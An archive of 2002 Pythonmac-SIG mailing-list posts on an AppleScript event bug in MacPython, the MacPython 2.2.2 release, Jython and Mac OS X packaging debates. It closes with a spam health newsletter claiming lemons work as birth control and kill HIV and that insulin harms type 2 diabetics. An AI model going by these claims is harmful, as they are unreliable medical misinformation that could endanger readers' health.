param, which is a list of param, and has one unique param when an error
occurred named 'errn'. But now I get only the later.

Does it make more sense ? You should have this problem too BTW, as I found
it to be consistent and happening with fullbuild.py.

How to reproduce : 

- Inject an error in MacPython (any .c would do)
- Use fullbuild.py
- The error is not reported by fullbuild.py (2.3 or 2.2)

Alex.

> On donderdag, oktober 17, 2002, at 08:20 , Alexandre Parenteau wrote:
> 
>> Jack,
>> 
>> I've been telling you over and over I had some AppleScript
>> problems, events
>> not returning. For example I use Make_Project of CodeWarrior.
>> Metrowerks_Shell_Suite.py, and it never returned an error when
>> the project
>> was failing.
> 
> Alexandre,
> I don't understand why your change would work. The login of
> aetools.unpackevent is as follows
> def unpackevent():
> if there is a ---- direct object parameter:
> unpack it into parameters[----]
> while we've missed any other parameters:
> unpack these by name into parameters
> for all attributes we know about:
> if the attribute is present:
> unpack it into attributes
> 
> Your extra code (if there's no ---- direct object) handles a
> case that is already handled by the while loop just below....
> 
> Could you pack up a python script plus CodeWarrior 7.2 project
> that demonstrates your problem? Please state the problem exactly
> (i.e. Expected behaviour: xxxx Observed behaviour: xxxx).
> 
>> 
>> The solution came for me around the aetools.unpackevent:
>> 
>>     try:
>>         dirobj = ae.AEGetParamDesc('----', '****')
>>     except AE.Error:
>>         pass
>>     else:
>>         parameters['----'] = unpack(dirobj, formodulename)
>>         del dirobj
>> 
>> If I understand correctly, it is expected there is an event of
>> type '----'
>> to return an error. Well, maybe it used to, but not anymore for me on
>> Jaguar. Instead, I get directly the 'errn' event coming back.
>> So I changed
>> the code this way :
>> 
>>    try:
>>         dirobj = ae.AEGetParamDesc('----', '****')
>>     except AE.Error:
>>         try:
>>             keyword, dirobj = ae.AEGetNthDesc(1, '****')
>>         except AE.Error:
>>             pass
>>         else:
>>             parameters[keyword] = unpack(dirobj, formodulename)
>>     else:
>>         parameters['----'] = unpack(dirobj, formodulename)
>>         del dirobj
>> 
>> Note I don't like this code, may be I should use AECountItems.
>> 
>> Anyway, that was the source of my problem. How come you don't
>> experience
>> that ??? I don't understand ! Why the returned event suddenly
>> changed from
>> '----' (and then 'errn' inside the AEList) to directly 'errn' ?
>> 
>> Anyway, if it could make it for 2.2.2, I want to emphasize that without
>> this, I don't have CodeWarrior.CodeWarrior functional (tested
>> on CW 7.1,
>> 7.2, 8.0, 8.1, 8.2, Py2.2.1, Py2.3a0, re-generating
>> CodeWarrior.CodeWarrior
>> or not).
>> 
>> Alex.
>> 
>> --
>> Alexandre Parenteau
>> Computer Scientist
>> Core Technologies, AGM
>> Adobe Systems, Inc.
>> 408-536-6166
>> 
> --
> - Jack Jansen        <Jack.Jansen@oratrix.com>
> http://www.cwi.nl/~jack -
> - If I can't dance I don't want to be part of your revolution --
> Emma Goldman -
> 

-- 
Alexandre Parenteau
Computer Scientist
Core Technologies, AGM
Adobe Systems, Inc.
408-536-6166



From aparente@adobe.com  Fri Oct 25 00:48:23 2002
From: aparente@adobe.com (Alexandre Parenteau)
Date: Thu, 24 Oct 2002 16:48:23 -0700
Subject: [Pythonmac-SIG] Re: Found my OSA problem !
In-Reply-To: <B9DDD321.8725%aparente@adobe.com>
Message-ID: <B9DDD4D7.872C%aparente@adobe.com>

Jack,

>> while we've missed any other parameters:

Oh ! Well, it could be this call which doesn't work as expected then :

desc = ae.AEGetAttributeDesc('miss', 'keyw')

Since it doesn't work, I have no clue what it would do otherwise. Why do
that anyway, rather then enumerating ?

Alex [who doesn't have a clue about OSA]

-- 
Alexandre Parenteau
Computer Scientist
Core Technologies, AGM
Adobe Systems, Inc.
408-536-6166
.



From jwblist@olympus.net  Fri Oct 25 02:19:20 2002
From: jwblist@olympus.net (John W Baxter)
Date: Thu, 24 Oct 2002 18:19:20 -0700
Subject: [Pythonmac-SIG] Re: Let's do it completely different!
In-Reply-To: <ONBCIBEPGOMOCBAA@mailcity.com>
References: <ONBCIBEPGOMOCBAA@mailcity.com>
Message-ID: <p05200a01b9de4bde504f@[192.168.1.50]>

At 16:26 -0400 10/23/2002, kevin parks wrote:
>Mostly because the couldn't i would guess. I am guessing that you
>average Mac Python user in the future will be shell & Unix savvy.
>Beside the terminal is a pretty cool app and *ever* mac will already
>have one!

Quite possibly true of a Mac Python user.  Probably not true of the user of
an application which happens to be written in Python.

We've had applications which happen to be written in AppleScript for a long
time (eg, the old Email and BrowseTheInternet icons on the desktop in about
an Mac OS 8 installation).  Aunt Mabel never knew they were AppleScript.

  --John
-- 
John Baxter   jwblist@olympus.net      Port Ludlow, WA, USA


From jwblist@olympus.net  Fri Oct 25 02:32:50 2002
From: jwblist@olympus.net (John W Baxter)
Date: Thu, 24 Oct 2002 18:32:50 -0700
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <8CFC81BC2CC2A74F88BAB7180F00B779315750@XCH-NW-29.nw.nos.boeing.com>
References: <8CFC81BC2CC2A74F88BAB7180F00B779315750@XCH-NW-29.nw.nos.boeing.com>
Message-ID: <p05200a02b9de4cfc936b@[192.168.1.50]>

At 13:15 -0700 10/23/2002, Bugbee, Larry wrote:
>...Apple?  Are you lurking?  If you can help, please do.

Larry...you aren't being picked on...you just happened to give me a message
to which to reply as follows (others to which I should have replied are in
the trash, and I'm lazy).

Before we get too optimistic about what Apple might do in the way of
including what we want as the Python installation, keep in mind we're
talking about the same Apple whose QuickTime 6.0.2 installer is broken on
machines whose owners have replaced the supplied Perl 5.6.0 with the newer
Perl 5.8.  (Reference http://www.macfixit.com for October 24.)

Why does that break the installer?  Seemingly because Apple used EQ and NE
rather than eq and ne in the preflight script (which is Perl).  Perl 5.6 is
happy with those bogus operators...5.8 is not.

Not to mention the same Apple which has shipped installers with unquoted
path names which--given unhappy accidents of volume naming--resulted in the
installer wiping out volume contents.  (I suspect that intern is gone.  -;))

  --John

-- 
John Baxter   jwblist@olympus.net      Port Ludlow, WA, USA


From bobsavage@mac.com  Fri Oct 25 02:56:30 2002
From: bobsavage@mac.com (Bob Savage)
Date: Thu, 24 Oct 2002 20:56:30 -0500
Subject: [Pythonmac-SIG] Re: Let's do it completely different!
In-Reply-To: <p05200a01b9de4bde504f@[192.168.1.50]>
Message-ID: <FAB594DE-E7BC-11D6-9BA6-00306547CFF0@mac.com>

On Thursday, October 24, 2002, at 08:19 PM, John W Baxter wrote:

> At 16:26 -0400 10/23/2002, kevin parks wrote:
>> Mostly because the couldn't i would guess. I am guessing that you
>> average Mac Python user in the future will be shell & Unix savvy.
>> Beside the terminal is a pretty cool app and *ever* mac will already
>> have one!
>
> Quite possibly true of a Mac Python user.  Probably not true of the 
> user of
> an application which happens to be written in Python.

Yes, I think there are a lot of people thinking of "using Python" for 
custom in-house solutions, but we need to think beyond that to making a 
Python somewhat akin to RealBasic or Java. Where people can search on 
VersionTracker for an app that does what they want, they download and 
use one and never know that it was written, at least in part, in 
Python. With the maturation of PyObjC, and Apple shipping Python as 
part of the default install we really seem like we could be there.

Bob



From jwblist@olympus.net  Fri Oct 25 05:26:48 2002
From: jwblist@olympus.net (John W Baxter)
Date: Thu, 24 Oct 2002 21:26:48 -0700
Subject: [Pythonmac-SIG] Re: Let's do it completely different!
In-Reply-To: <2507294.1035410652386.JavaMail.wddozier@mac.com>
References: <2507294.1035410652386.JavaMail.wddozier@mac.com>
Message-ID: <p05200a03b9de4fec43ad@[192.168.1.50]>

At 15:04 -0700 10/23/2002, William Dozier wrote:
>On Wednesday, Oct 23, 2002, at 03:26PM, kevin parks <kp87@lycos.com> wrote:
>>Beside the terminal is a pretty cool app and *ever* mac will already
>>have one!
>
>
>Or not. Isn't the "BSD layer" install optional?

As has been explained to me (perhaps accurately), the BSD layer is optional
for licensing reasons.  Lots of things fail if it is not installed (many
installers, including from Apple, etc).  So it's not really optional.

  --John

-- 
John Baxter   jwblist@olympus.net      Port Ludlow, WA, USA


From Jack.Jansen@cwi.nl  Fri Oct 25 09:26:52 2002
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Fri, 25 Oct 2002 10:26:52 +0200
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <p05200a02b9de4cfc936b@[192.168.1.50]>
Message-ID: <83D45084-E7F3-11D6-AC09-0030655234CE@cwi.nl>

On Friday, Oct 25, 2002, at 03:32 Europe/Amsterdam, John W Baxter wrote:
> Before we get too optimistic about what Apple might do in the way of
> including what we want as the Python installation, keep in mind we're
> talking about the same Apple whose QuickTime 6.0.2 installer is broken 
> on
> machines whose owners have replaced the supplied Perl 5.6.0 with the 
> newer
> Perl 5.8.  (Reference http://www.macfixit.com for October 24.)

An error like this will probably occur only once (like the unquoted 
filename error you referenced later in the post). Apple engineers are 
getting used to the fact that they have preflight and postflight 
scripts that they can write in any language that is installed. Now that 
they've shot themselves in the foot with QT 602 they know that unix 
users can and will install other versions of Apple-supplied scripting 
languages they will cater for it (either by testing their scripts with 
a couple of newer releases of the scripting language, or by enforcing 
that the correct version of the language interpreter is chosen).
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From mwh@python.net  Fri Oct 25 10:25:56 2002
From: mwh@python.net (Michael Hudson)
Date: 25 Oct 2002 10:25:56 +0100
Subject: [Pythonmac-SIG] Reply-To on lists
In-Reply-To: Chris Barker's message of "Thu, 24 Oct 2002 11:54:17 -0700"
References: <9A33F280-E6B2-11D6-9DF7-000393877AE4@codefab.com> <3DB6D344.2A2399CA@noaa.gov> <2m65vst822.fsf@starship.python.net> <3DB841D9.28CB1CF3@noaa.gov>
Message-ID: <2mbs5ina3f.fsf_-_@starship.python.net>

Chris Barker <Chris.Barker@noaa.gov> writes:

> Michael Hudson wrote:
> > Does anyone
> > > know why the replyto field is not set to the list?
> > 
> > Because setting reply-to on lists is evil.
> 
> I've experienced a number of auto-reply feedback loops on mailing lists,
> but not for a long while. A number of other lists I'm on (wxPython, for
> example) have reply-to set tot he list, and it works just fine. Someone
> must ahve figured out how to filter out the auto-replies.

Well the evilness I was thinking of was that I've *I* set Reply-To: in
my mails and the list sets one, mine gets clobbered.

> I do know that I have accidentally sent replies to only the sender on
> this list a lot. Maybe I'm jsut to absent minded.

All together now: "Get a better mail client." :-)

Cheers,
M.

-- 
  Imagine if every Thursday your shoes exploded if you tied them
  the usual way.  This happens to us all the time with computers,
  and nobody thinks of complaining.                     -- Jeff Raskin


From Benjamin.Schollnick@usa.xerox.com  Fri Oct 25 16:40:19 2002
From: Benjamin.Schollnick@usa.xerox.com (Schollnick, Benjamin)
Date: Fri, 25 Oct 2002 11:40:19 -0400
Subject: [Pythonmac-SIG] Re: Let's do it completely different!
Message-ID: <51B62EFFBC83D6118ADA00096BB030A11B346C@USAMCMS7>

At 15:04 -0700 10/23/2002, William Dozier wrote:
> >On Wednesday, Oct 23, 2002, at 03:26PM, kevin parks <kp87@lycos.com>
wrote:
> >>Beside the terminal is a pretty cool app and *ever* mac will already
> >>have one!
> >
> >Or not. Isn't the "BSD layer" install optional?

> > As has been explained to me (perhaps accurately), the BSD layer is
optional
> for licensing reasons.  Lots of things fail if it is not installed (many
> installers, including from Apple, etc).  So it's not really optional.

Could you elaborate on this?  I'm just extremely curious at why the
BSD layer being "optional" would affect licensing?

		- Benjamin


From csmith@blakeschool.org  Fri Oct 25 18:01:29 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Fri, 25 Oct 2002 12:01:29 -0500
Subject: [Pythonmac-SIG] symbolic algebra; Jython
Message-ID: <fc.004c4b6b00abf010004c4b6b00abf010.abf1f2@blakeschool.org>

This is a followup to the August 2001 discussion about symbolic algebra 
systems.

I found such a system that is more advanced than Pythonica...but it's
written in java.  But...I just completed an installation and successful 
test of Jython, a program which feels like Python but allows you to 
access java classes as if they were just another python module.  
Specifically, I did a test of the symbolic algebra manipulation system.

After binding the Jython-21.jar with the option set to get stdin from
the Message Window (and otherwise typing in everything as specified at
http://www.jython.org/MacOS_Install.html) I was able to create a
working Jython application.

I put the symbolic folder in the same folder as the newly created
Jython application and then successfully ran through the small test
suite found in mathtest.java which is part of the symbolic algebra
system download:

####

Jython 2.1 on java1.1.8 (JIT: MRJ22Jitc.01) Type "copyright", "credits"
or "license" for more information.
>>> from symbolic import * m=Math_interpreter() #create an instance of
>>> the manipulator m.calculate("DIFF(SINH(x^2),x)") #derivative of
>>> sinh(x^2) wrt x
'(((2*x)*exp(x^2))+((exp(-x^2)*x)*2))/2'
>>> m.setOutputMode(Math_interpreter.TEX_OUTPUT) m.getLastResult()
'\\frac{{{{2}{x}}{exp\\left({{x}^{2}}\\right)}}+{{{exp\\left({-{x}^{2}}
\\right)}{x}}{2}}}{2}'
>>> m.setOutputMode(Math_interpreter.INFIX_OUTPUT)
>>> m.calculate("INT(x^2*SIN(x),x)")
'(2*((sin(x)*x)+cos(x)))-(x^2*cos(x))'
>>> m.setOutputMode(Math_interpreter.STRUCTURED_OUTPUT)
>>> m.getLastResult()
'                         2        \n2 (sin(x) x + cos(x)) - x  cos(x)
\n'
>>> print _ #let's see it printed not repr'ed
2 2 (sin(x) x + cos(x)) - x  cos(x)

>>> 

####

A demo of a java applet online which allows you to manipulate algebraic
expressions is located along with the reference page at
http://www.mb.hs-wismar.de/Mitarbeiter/Pawletta/00Uwe/formel.html.

The symbolic folder of classes can be downloaded from
http://www.mb.hs-wismar.de/Mitarbeiter/Pawletta/00Uwe/symjpack.tar.gz
(a quick download at only 36 K).

Jython and directions for the MacOS installation are at
http://www.jython.org/MacOS_Install.html; the Jython home, from where
versions for other systems can be downloaded is at
http://www.jython.org/index.html.


/c



From lsloan@umich.edu  Fri Oct 25 19:26:22 2002
From: lsloan@umich.edu (Lance E Sloan)
Date: Fri, 25 Oct 2002 14:26:22 -0400
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <51B62EFFBC83D6118ADA00096BB030A11B3468@USAMCMS7>
References: <51B62EFFBC83D6118ADA00096BB030A11B3468@USAMCMS7>
Message-ID: <1909240.1035555982@[10.0.1.27]>

--On Thursday, October 24, 2002 12:27 -0400 "Schollnick, Benjamin" 
<Benjamin.Schollnick@usa.xerox.com> wrote:
> 	But, the major issue that I see is, do we continue to distribute a
> 	different python version than is included with v10.2.x, or do we
> 	patch Apple's version to extend it.

I've been lurking for a while and this is (one of) my first post(s) to this 
list.  (Can't remember if I posted a question about building Python 2.2 and 
2.3aX here or not.)  I don't want to start/prolong a flamewar, but just 
give my 0.02 USD.

I've been a UNIX user and a Mac user for years.  MOSX is a dream come true 
for me, although I wish there were some MOS9 features that hadn't been 
dropped along the way.  I think a couple days ago somebody on this list 
wrote there probably aren't many UNIX people who'd switch to MOSX.  Maybe 
there aren't many, but I am one of them and I know of a few others just in 
my department at the Univ. of Michigan.

I've been developing CGIs with Python for about two years.  All my programs 
begin with a shebang (#!).  When I do need to write a GUI app., I use 
Tkinter.  When I add new modules, I just drop them in a convenient place in 
my home directory and adjust sys.path.  I often use the interpreter 
interactively and find the readline/rlcompleter combo to be indispensible.

As a person who loves my MOSX, I'm looking forward to writing Python apps 
that use the native Mac GUI.  At the same time, I expect all my UNIX habits 
to work just the same.  In other words, I expect all the things I have with 
Python under other UNIXes to work and there should be a lot of additional 
MOSX support, too.  I'd want to be able to use Tkinter whether my program 
is running from a Terminal window or a Mac IDE.

I think it would be wrong to change how Python behaves when it runs under 
MOSX.  I may have misunderstood, but I think that's what some people on 
this list have been suggesting.  I wouldn't want there to be a separate 
MacPython, at least not for MOSX.  (I can appreciate that it might be 
necessary to support MOS9 and older versions, though.)  I would expect to 
be able to download a .tar file from python.org, run configure, build it, 
and it would work regardless of whether I'm using MOSX or some other UNIX.

I apologize if I'm rattling on and on, being redundant.  Basically, I want 
to have my cake and eat it, too.  (It should only require another instance 
of Cake, right? :)  I really do hope that folks from Apple are reading this 
mailing list, especially this thread.

--
Lance E Sloan
Web Services, Univ. of Michigan: Full-service Web and database design,
development, and hosting.  Specializing in Python & Perl CGIs.
http://websvcs.itd.umich.edu/ - "Putting U on the Web"



From kp87@lycos.com  Fri Oct 25 21:56:38 2002
From: kp87@lycos.com (kevin parks)
Date: Fri, 25 Oct 2002 16:56:38 -0400
Subject: [Pythonmac-SIG] Re: Let's do it completely different!
Message-ID: <JNABHKIBGCMJLAAA@mailcity.com>

> Quite possibly true of a Mac Python user.
> Probably not true of the user of
> an application which happens to be written in Python.

I think that i was missing that distinction in some past posts.

> We've had applications which happen to be written 
> in AppleScript for a long time (eg, the old 
> Email and BrowseTheInternet icons on the desktop 
> in about an Mac OS 8 installation).  
> Aunt Mabel never knew they were AppleScript.

Neither did uncle kevin (i always though they were just aliases, Who knew?)

-kp--

P.S. Speaking of clever Terminal tricks
did you ever notice that you can type a URL in the terminal
and it opens up in your www browser? cool. try it.



____________________________________________________________
Get 250 full-color business cards FREE right now!
http://businesscards.lycos.com 


From Jack.Jansen@oratrix.com  Fri Oct 25 23:18:59 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Sat, 26 Oct 2002 00:18:59 +0200
Subject: [Pythonmac-SIG] Re: Found my OSA problem !
In-Reply-To: <B9DDD4D7.872C%aparente@adobe.com>
Message-ID: <C29F5783-E867-11D6-97F0-003065517236@oratrix.com>

On vrijdag, oktober 25, 2002, at 01:48 , Alexandre Parenteau wrote:

> Jack,
>
>>> while we've missed any other parameters:
>
> Oh ! Well, it could be this call which doesn't work as expected then :
>
> desc = ae.AEGetAttributeDesc('miss', 'keyw')
>
> Since it doesn't work, I have no clue what it would do 
> otherwise. Why do
> that anyway, rather then enumerating ?

I don't remember anymore. I think this was the suggested idiom 
at the time I wrote the module. Hmm, maybe I even inherited this 
from Guido.... I really don't remember.

But I've checked in a fix (albeit a different one than yours): I 
now explicitly look for 'errn' as I do for '----'. This seems to 
work. The fix is going to be in 2.2.2 too.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Jack.Jansen@oratrix.com  Fri Oct 25 23:53:42 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Sat, 26 Oct 2002 00:53:42 +0200
Subject: [Pythonmac-SIG] MacPython 2.2.2 final candidate
Message-ID: <9C2D01F6-E86C-11D6-97F0-003065517236@oratrix.com>

Folks,
MacPython 2.2.2 final candidate is available. Please download 
and install it, and let me know about any showstoppers ASAP (and 
successes also welcome). I plan to advertise this release on 
monday.

Download from 
http://www.cwi.nl/ftp/jack/python/mac/MacPython222full.bin (or 
.hqx) or from 
http://www.cwi.nl/ftp/jack/python/mac/MacPython222active.bin (or 
.hqx).

Source distribution to follow later,
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Robin.Siebler@palmsource.com  Fri Oct 25 23:58:27 2002
From: Robin.Siebler@palmsource.com (Robin Siebler)
Date: Fri, 25 Oct 2002 15:58:27 -0700
Subject: [Pythonmac-SIG] MacPython 2.2.2 final candidate
Message-ID: <3271DBB88437ED41A0AB239E6C2554A47C6E94@ussunm001.palmsource.com>

What's the difference between active and full?

-----Original Message-----
From: Jack Jansen [mailto:Jack.Jansen@oratrix.com]
Sent: Friday, October 25, 2002 3:54 PM
To: pythonmac-sig@python.org
Subject: [Pythonmac-SIG] MacPython 2.2.2 final candidate


Folks,
MacPython 2.2.2 final candidate is available. Please download=20
and install it, and let me know about any showstoppers ASAP (and=20
successes also welcome). I plan to advertise this release on=20
monday.

Download from=20
http://www.cwi.nl/ftp/jack/python/mac/MacPython222full.bin (or=20
.hqx) or from=20
http://www.cwi.nl/ftp/jack/python/mac/MacPython222active.bin (or=20
.hqx).

Source distribution to follow later,
--
- Jack Jansen        <Jack.Jansen@oratrix.com>       =20
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution --=20
Emma Goldman -


_______________________________________________
Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
http://mail.python.org/mailman/listinfo/pythonmac-sig



From aparente@adobe.com  Sat Oct 26 00:11:36 2002
From: aparente@adobe.com (Alexandre Parenteau)
Date: Fri, 25 Oct 2002 16:11:36 -0700
Subject: [Pythonmac-SIG] MacPython 2.2.2 final candidate
In-Reply-To: <9C2D01F6-E86C-11D6-97F0-003065517236@oratrix.com>
Message-ID: <B9DF1DB8.87D0%aparente@adobe.com>

Jack,

MacOS.Error -5000 (insufficient access privilege) when creating the Python
aliases. How come the installer didn't ask me to switch to root ?

Alex.


> Folks,
> MacPython 2.2.2 final candidate is available. Please download
> and install it, and let me know about any showstoppers ASAP (and
> successes also welcome). I plan to advertise this release on
> monday.
> 
> Download from 
> http://www.cwi.nl/ftp/jack/python/mac/MacPython222full.bin (or
> .hqx) or from 
> http://www.cwi.nl/ftp/jack/python/mac/MacPython222active.bin (or
> .hqx).
> 
> Source distribution to follow later,
> --
> - Jack Jansen        <Jack.Jansen@oratrix.com>
> http://www.cwi.nl/~jack -
> - If I can't dance I don't want to be part of your revolution --
> Emma Goldman -
> 
> 
> _______________________________________________
> Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
> http://mail.python.org/mailman/listinfo/pythonmac-sig
> 
-- 
Alexandre Parenteau
Computer Scientist
Core Technologies, AGM
Adobe Systems, Inc.
408-536-6166



From Chris.Barker@noaa.gov  Sat Oct 26 01:05:15 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Fri, 25 Oct 2002 17:05:15 -0700
Subject: [Pythonmac-SIG] MacPython 2.2.2 final candidate
In-Reply-To: <B9DF1DB8.87D0%aparente@adobe.com>
Message-ID: <9AB94753-E876-11D6-9741-000393A96660@noaa.gov>

On Friday, October 25, 2002, at 04:11 PM, Alexandre Parenteau wrote:

> Jack,
>
> MacOS.Error -5000 (insufficient access privilege) when creating the 
> Python
> aliases. How come the installer didn't ask me to switch to root ?

Besides the lack of warning, I haven't set up my system to allow me to 
log on as root, so how can I do this at all?

-Chris



Christopher Barker, Ph.D.
Oceanographer
                                     		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov



From jburgess@cs.stanford.edu  Sat Oct 26 05:26:06 2002
From: jburgess@cs.stanford.edu (Jed Burgess)
Date: Fri, 25 Oct 2002 21:26:06 -0700
Subject: [Pythonmac-SIG] MacPython 2.2.2 final candidate
In-Reply-To: <9AB94753-E876-11D6-9741-000393A96660@noaa.gov>
Message-ID: <0B5E169A-E89B-11D6-8AEA-003065D5B478@cs.stanford.edu>

>
> Besides the lack of warning, I haven't set up my system to allow me to 
> log on as root, so how can I do this at all?
>

Open the NetInfo Manager located in /Applications/Utilities.  Go to the 
Security menu and select Authenticate.  Once you have typed in your 
password (you must be a admin of your computer), go back to the 
Security menu and select Enable Root User.

Jed



From jm@lists.mercola.com  Sat Oct 26 09:16:59 2002
From: jm@lists.mercola.com (jm@lists.mercola.com)
Date: Sat, 26 Oct 2002 03:16:59 -0500 (CDT)
Subject: [Pythonmac-SIG] eHealthy News You Can Use October 26, 2002 - Issue 371
Message-ID: <20021026081659.E690233E2E@mercola.com>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 6.00.2719.2200" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT face=Arial size=2>
<DIV><FONT face=Arial size=2><FONT face="Verdana, Arial, Helvetica, sans-serif" 
size=2>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/26/lemons.htm">Lemons for Birth 
Control?</A> - Non-toxic, inexpensive and it even kills HIV. Can using lemons 
work to prevent pregnancy?</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/26/zyprexa.htm">Diabetes Link to 
Anti-Psychotic Drug Zyprexa</A> - Drugs are not the answer for schizophrenia. 
Read about some options that really do make a difference.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/26/child_obesity.htm">By the Millions, 
Kids Keep Putting on Pounds</A> - Overall, 20% to 30% of children in this 
country are either overweight or at risk of becoming so.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2></FONT></FONT></P>
<P>
<TABLE cellSpacing=0 cellPadding=0 width=250 align=right border=0>
  <TBODY>
  <TR>
    <TD vAlign=center align=middle>
      <FORM 
      action=http://www.mercola.com/cgi-bin/WebObjects/Subscription.woa/wa/subscribe 
      method=get>
      <P><INPUT size=16 name=email><FONT face=Verdana size=2> &nbsp; </FONT><INPUT type=submit value=Subscribe><FONT face=Verdana size=2> 
      </FONT></P></FORM></TD></TR></TBODY></TABLE></P>
<P><FONT size=2><FONT face=Verdana><B><FONT color=#ff0000>Not Subscribed to the 
Newsletter Yet?</FONT></B> You can subscribe by filling in your email address in 
the box to the right, and clicking Subscribe.</FONT></FONT></P><FONT 
face="Verdana, Arial, Helvetica, sans-serif" size=2>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/26/soy_formula.htm">Soy Baby Formula 
Linked to Behavioral Problems</A> - Elevated levels of manganese in soy infant 
formula may be related to attention-related disorders.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/forms/books.htm">Improve Your Life With These 
Highly Recommended Books</A>&nbsp;- Check out this new Highly Recommended Books 
list for the absolute best of all the books I've suggested in this newsletter 
over the years! And watch for a major new feature enabling discussion with the 
authors, and a new recommended book each month.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/26/diabetes.htm">More Insanity -- Pancreas 
Transplants for Type 2 Diabetics</A> - After destroying the health of many type 
2 diabetics by giving them insulin, traditional medicine is now providing 
pancreatic transplants for Type 2 diabetics. This makes about as much sense as 
giving a heart transplant to someone with high blood pressure.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/26/sids.htm">African-American Infants 
Dying from SIDS at Alarming Rate</A> - African-American infants are dying from 
SIDS more than twice as frequently than infants of other ethnicities. Could this 
be due to not enough vitamin D?</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/forms/livingfuel.htm">Living Fuel SuperFood: Total 
Nutrition and Convenience Can Be Yours</A> - Can't always sit down to a healthy 
meal because you're often on the go? Then Living Fuel, which meets nearly all of 
your nutritional needs in a convenient format, is the answer!</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/26/smallpox_vaccine.htm">The Controversial 
Smallpox Vaccine -- Eighteen Points You Should Consider</A> - A leading anthrax 
physician, Dr. Nass, provides her perspective on the smallpox vaccine 
issue.</FONT></P></FONT>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif"><FONT face=Arial><FONT 
size=2><FONT face=Verdana><STRONG><FONT color=#ff0000>Do you have a specific 
health question?</FONT></STRONG> Try typing it in our search engine and you will 
see if any of the 15,000 pages I have compiled will answer it for 
you.</FONT></FONT></P>
<DIV>
<DIV align=left>
<FORM action=http://www.google.com/custom>
<DIV align=center><INPUT type=hidden value=AH:center;AWFID:5cdb2968a482194d; 
name=cof><FONT face=Verdana size=2> </FONT><INPUT type=hidden 
value=www.mercola.com name=domains><FONT face=Verdana size=2> </FONT><INPUT 
type=hidden value=www.mercola.com name=sitesearch><FONT face=Verdana size=2> 
</FONT><INPUT size=31 name=q><FONT face=Verdana size=2> &nbsp; </FONT><INPUT type=submit value="Search Mercola.com" name=sa2><FONT face=Verdana 
size=2> </FONT></FONT></FONT></DIV></FORM></DIV></DIV>
<DIV>
<TABLE cellSpacing=0 cellPadding=0 width="100%" align=center border=0>
  <TBODY>
  <TR>
    <TD align=middle>
      <TABLE cellSpacing=3 cellPadding=6 border=0>
        <TBODY>
        <TR>
          <TD align=middle width=82><IMG alt="" hspace=0 
            src="http://www.mercola.com/images/shopper_and_cart371.jpg" 
            border=0><A href="http://www.mercola.com/store.htm"></A></TD>
          <TD>
            <P><FONT face="Arial, Helvetica, sans-serif"><B><A 
            href="http://www.mercola.com/store.htm">Tools to Help You Recover 
            Your Health</A></B></FONT><FONT 
            face="Arial, Helvetica, sans-serif"><B> </B></FONT></P>
            <P><FONT face=Arial>Use these hard-to-find resources to take your 
            health to the next 
  level.</FONT></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<HR>
</DIV>
<H2 align=center><FONT face=Verdana color=#000000><B>Upcoming Course/Seminar 
Information</B></FONT></H2>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://mercola.com/nst/nst.htm">New Technique From Australia Gives Almost 
Complete Relief From Arthritis Pain</A> - Now health care practitioners can 
learn this innovative technique from Australia that can radically improve your 
ability to provide rapid relief to your clients/patients. All four therapists 
and myself use this technique nearly every day in our center. New Basic and 
Advanced Seminars have now been scheduled for 2003.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://mercola.com/2002/aug/7/skasys.htm">SkaSys: Superior to Any Existing 
EAV System</A> - An incredible technology, SkaSys, enables far more efficient 
and precise bioenergetic, kinesiological, and autonomic reflex testing than any 
EAV system. Get in-depth information on the application and methods of SkaSys, 
including testing for heavy metal loads and individual detox protocols, in this 
seminar hosted by its developer, Dr. Hans Lechner.</FONT></P>
